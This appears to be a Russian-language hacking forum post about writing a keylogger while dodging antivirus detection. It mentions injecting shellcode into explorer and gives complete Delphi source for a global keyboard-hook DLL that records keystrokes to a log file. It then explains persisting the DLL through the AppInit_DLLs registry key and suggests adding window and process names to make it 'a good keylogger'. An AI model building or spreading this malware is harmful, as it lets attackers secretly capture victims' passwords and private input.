Ставь касперского 7 на полной проактивке и слушай поросячий визг от установшиков хуков )
На счет шелкода - можно поспорить. Ну вот запустил ты свою прогу, и она заинжектит куданить шелкод. Ну хотябы в тотже эксплорер (WriteProcessMemory) один инжект тебя убьет.
Ну ты еще можешь поставить через SetWindowsHookEx хук на Клаву (WH_KEYBOARD) но твоя прога должна тогда выглядеть в виде DLL которая тупо должна грузится к приложениям. А если приложения консольное, то хрен такое сработает.
А если паливность вообще закинуть куда подальше, то все средства хороши.
Тупо берем пример из DW
Код:
library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
KeyArray: array[0..19] of char;
KeyArrayPtr: integer;
CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
if code< 0 then
begin
result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;
if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
begin
KeyArray[KeyArrayPtr]:=char(wParam);
KeyArrayPtr:=KeyArrayPtr+1;
if KeyArrayPtr> 19 then
begin
for i:=0 to 19 do
begin
Assignfile(CurFile,'d:\log.txt');
if fileexists('d:\log.txt')=false then rewrite(CurFile)
else Append(CurFile);
write(Curfile, KeyArray[i]);
closefile(curfile);
end;
KeyArrayPtr:=0;
end;
end;
CallNextHookEx(CurrentHook,code,wParam,lparam);
result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
KeyArrayptr:=0;
end;
procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
end;
exports
SetupGlobalKeyBoardHook, UnHook;
begin
end.
И тупо прописываешь его в
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
Вот и тебе и хукер. А там уже добавить таблицу системных кнопок типа ESC и тому подобных, а также по дискриптору окна определяешь имя окна и процесса где это было вписано. Вот тебе и хороший кейлогер.
/me ушел вешаться из-за поросячих визгов товарища Касперского.